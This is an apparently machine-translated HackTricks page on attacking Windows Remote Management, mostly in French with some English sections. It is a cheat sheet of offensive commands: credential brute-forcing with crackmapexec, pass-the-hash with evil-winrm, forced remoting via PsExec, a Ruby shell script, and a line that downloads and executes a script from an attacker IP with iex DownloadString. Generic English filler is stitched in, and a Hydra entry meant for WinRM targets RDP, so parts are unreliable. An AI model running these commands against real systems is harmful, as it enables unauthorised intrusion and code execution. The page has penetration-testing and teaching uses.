# 5985,5986 - Pentesting WinRM
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes ! **Perspectives de piratage**\ Engagez-vous avec du contenu qui explore les sensations et les défis du piratage **Actualités de piratage en temps réel**\ Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! ## WinRM [Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) est un protocole Microsoft qui **permet la gestion à distance des machines Windows** via HTTP(S) en utilisant SOAP. À l'arrière-plan, il utilise WMI, vous pouvez donc le considérer comme une API basée sur HTTP pour WMI. Si WinRM est activé sur la machine, il est trivial d'administrer à distance la machine depuis PowerShell. En fait, vous pouvez simplement vous connecter à une session PowerShell à distance sur la machine (comme si vous utilisiez SSH !) La manière la plus simple de détecter si WinRM est disponible est de vérifier si le port est ouvert. WinRM écoutera sur l'un des deux ports : * **5985/tcp (HTTP)** * **5986/tcp (HTTPS)** Si l'un de ces ports est ouvert, WinRM est configuré et vous pouvez essayer d'entrer dans une session à distance. ## **Initialisation d'une session WinRM**. Nous pouvons configurer PowerShell pour fonctionner avec WinRM. Selon la documentation Microsoft, Enable-PSRemoting est une cmdlet qui configure l'ordinateur pour recevoir des commandes PowerShell à distance. Si nous avons accès à une invite PowerShell élevée sur la victime, nous pouvons l'activer et ajouter tous les "attaquants" en tant qu'hôtes de confiance. Nous pouvons exécuter les deux commandes suivantes : ``` Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Cela ajoute un joker à la configuration trustedhosts. Soyez prudent quant à ce que cela implique. _Note: J'ai également dû changer le type de réseau sur ma machine d'attaque de "Public" à "Work"._ Vous pouvez également **activer** WinRM **à distance** _\*\*\_en utilisant \_wmic_: ``` wmic /node: process call create "powershell enable-psremoting -force" ``` ### Testez si configuré Une fois que la machine d'attaque est configurée, utilisez la fonction `Test-WSMan` pour tester si la cible est configurée pour WinRM. Vous devriez voir des informations renvoyées sur la version du protocole et wsmid : ![](<../.gitbook/assets/image (161) (1).png>) ![](<../.gitbook/assets/image (162).png>) Dans ce cas, le premier est configuré et le second ne l'est pas. ### Exécutez une commande Maintenant, nous pouvons utiliser la commande `Invoke-Command` de PowerShell pour exécuter à distance une commande sur la cible via WinRM. Pour exécuter à distance `ipconfig` et voir la sortie : ``` Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../.gitbook/assets/image (163) (1).png>) Vous pouvez également **exécuter une commande de votre console PS actuelle via** _**Invoke-Command**_. Supposons que vous ayez localement une fonction appelée _**enumeration**_ et que vous souhaitez **l'exécuter sur un ordinateur distant**, vous pouvez le faire : ```ruby Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Exécuter un script To execute a script using WinRM, you can follow these steps: 1. Connect to the target machine using a WinRM client. 2. Use the `Invoke-Command` cmdlet to run the script on the remote machine. Here is an example of how to execute a script using WinRM: ```powershell Invoke-Command -ComputerName -ScriptBlock { } ``` Replace `` with the IP address or hostname of the target machine, and `` with the actual content of your script. Make sure that the WinRM service is enabled and running on the target machine. You can use the `Test-WSMan` cmdlet to check the connectivity to the target machine. By executing a script remotely using WinRM, you can automate tasks and perform actions on multiple machines simultaneously. It is a powerful feature that can save time and effort during penetration testing and system administration. ```ruby Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Obtenir un shell inversé To get a reverse shell, you need to exploit a vulnerability in the target system and establish a connection back to your machine. This allows you to gain remote access and control over the target system. Here are the steps to get a reverse shell: 1. Identify a vulnerability: Look for vulnerabilities in the target system that can be exploited to gain remote access. Common vulnerabilities include weak passwords, unpatched software, and misconfigured services. 2. Exploit the vulnerability: Once you have identified a vulnerability, use an exploit to gain control over the target system. This can involve running a malicious script or exploiting a specific vulnerability in a service or application. 3. Set up a listener: On your machine, set up a listener to receive the reverse shell connection. This can be done using tools like Netcat or Metasploit. 4. Establish the reverse shell connection: Once the vulnerability is exploited, the target system will connect back to your machine. This will establish a reverse shell connection, allowing you to interact with the target system's command prompt. 5. Gain remote access: With the reverse shell connection established, you can now execute commands on the target system as if you were physically present. This gives you remote access and control over the target system. It is important to note that gaining unauthorized access to computer systems is illegal and unethical. The techniques described here should only be used for legitimate purposes, such as penetration testing or securing your own systems. ```ruby Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Obtenir une session PS Ou, si vous souhaitez accéder directement à une session PowerShell interactive, utilisez la fonction `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../.gitbook/assets/image (164).png>) **La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"** ### **Forcer l'ouverture de WinRM** Si vous voulez vraiment utiliser PS Remoting et WinRM mais que la cible n'est pas configurée pour cela, vous pouvez "forcer" son activation grâce à une seule commande. Je ne recommande pas cela, mais si vous voulez vraiment utiliser WinRM ou PSRemoting, vous pouvez le faire de cette manière. Par exemple, en utilisant PSExec : ``` PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` Maintenant, nous pouvons entrer dans une session PS à distance sur la victime. ### Sauvegarde et restauration des sessions Cela **ne fonctionnera pas** si la **langue** est **restreinte** sur l'ordinateur distant. ```ruby #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` Dans cette session, vous pouvez charger des scripts PS en utilisant _Invoke-Command_. ```ruby Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Erreurs Si vous rencontrez l'erreur suivante : `enter-pssession : La connexion au serveur distant 10.10.10.175 a échoué avec le message d'erreur suivant : Le client WinRM ne peut pas traiter la demande. Si le schéma d'authentification est différent de Kerberos, ou si l'ordinateur client n'est pas joint à un domaine, le transport HTTPS doit être utilisé ou la machine de destination doit être ajoutée à la configuration TrustedHosts. Utilisez winrm.cmd pour configurer TrustedHosts. Notez que les ordinateurs de la liste TrustedHosts peuvent ne pas être authentifiés. Vous pouvez obtenir plus d'informations à ce sujet en exécutant la commande suivante : winrm help config. Pour plus d'informations, consultez le sujet d'aide about_Remote_Troubleshooting.` Essayez ceci sur le client (informations provenant [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)) : ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ```
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes ! **Perspectives de piratage**\ Engagez-vous avec du contenu qui explore les sensations fortes et les défis du piratage. **Actualités de piratage en temps réel**\ Restez à jour avec le monde du piratage en constante évolution grâce à des actualités et des informations en temps réel. **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme. **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! ## Connexion WinRM sous Linux ### Brute Force Attention, le brute-forcing de WinRM peut bloquer les utilisateurs. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### Utilisation d'evil-winrm Evil-winrm est un outil de pentesting qui permet d'exploiter les vulnérabilités du service WinRM (Windows Remote Management) pour accéder à distance à un système Windows. Il fournit une interface en ligne de commande pour exécuter des commandes et des scripts sur un hôte distant. Pour utiliser evil-winrm, vous devez d'abord installer Ruby et les dépendances nécessaires. Ensuite, vous pouvez exécuter la commande suivante pour installer evil-winrm : ``` gem install evil-winrm ``` Une fois installé, vous pouvez utiliser evil-winrm en spécifiant l'adresse IP ou le nom d'hôte de la machine cible, ainsi que les informations d'identification valides pour vous connecter. Voici un exemple de commande : ``` evil-winrm -i -u -p ``` Après vous être connecté avec succès, vous pouvez exécuter des commandes sur le système distant, télécharger ou téléverser des fichiers, et même exécuter des scripts PowerShell. Evil-winrm offre également des fonctionnalités avancées telles que l'escalade de privilèges et l'exécution de commandes en mode furtif. Il est important de noter que l'utilisation d'evil-winrm pour accéder à un système sans autorisation appropriée est illégale et constitue une violation de la vie privée. Il est recommandé de n'utiliser cet outil que dans le cadre d'un test de pénétration autorisé et avec le consentement du propriétaire du système cible. ```ruby gem install evil-winrm ``` Lisez la **documentation** sur son github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` Pour utiliser evil-winrm pour se connecter à une **adresse IPv6**, créez une entrée dans le fichier _**/etc/hosts**_ en définissant un **nom de domaine** pour l'adresse IPv6, puis connectez-vous à ce domaine. ### Transmettre le hash avec evil-winrm ```ruby evil-winrm -u -H -i ``` ![](<../.gitbook/assets/image (173).png>) ### Utilisation d'une machine PS-docker L'utilisation d'une machine PS-docker est une méthode pratique pour effectuer des tests de pénétration sur les services WinRM. Cette approche permet de créer rapidement une machine virtuelle avec PowerShell préinstallé et configuré pour se connecter à des services WinRM. Voici les étapes pour utiliser une machine PS-docker : 1. Assurez-vous d'avoir Docker installé sur votre système. 2. Ouvrez une fenêtre de terminal et exécutez la commande suivante pour télécharger l'image Docker PS-docker : ``` docker pull pentestmonkey/winrm ``` 3. Une fois l'image téléchargée, exécutez la commande suivante pour démarrer une nouvelle instance de la machine PS-docker : ``` docker run -it pentestmonkey/winrm ``` 4. Vous serez maintenant connecté à la machine PS-docker. Vous pouvez utiliser PowerShell pour effectuer des tests de pénétration sur les services WinRM. Cette méthode est particulièrement utile lorsque vous avez besoin d'une machine de test temporaire pour effectuer des tests de pénétration sur les services WinRM. Une fois que vous avez terminé, vous pouvez simplement arrêter et supprimer l'instance de la machine PS-docker. ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Utilisation d'un script ruby Code extrait d'ici : [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan * `port:5985 Microsoft-HTTPAPI` ## Références * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## Commandes automatiques HackTricks ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.xyz/pentesting/pentesting-winrm Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ```
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes ! **Perspectives de piratage**\ Engagez-vous avec du contenu qui explore les sensations fortes et les défis du piratage. **Actualités de piratage en temps réel**\ Restez à jour avec le monde du piratage en constante évolution grâce aux actualités et aux informations en temps réel. **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme. **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family). * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com). * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).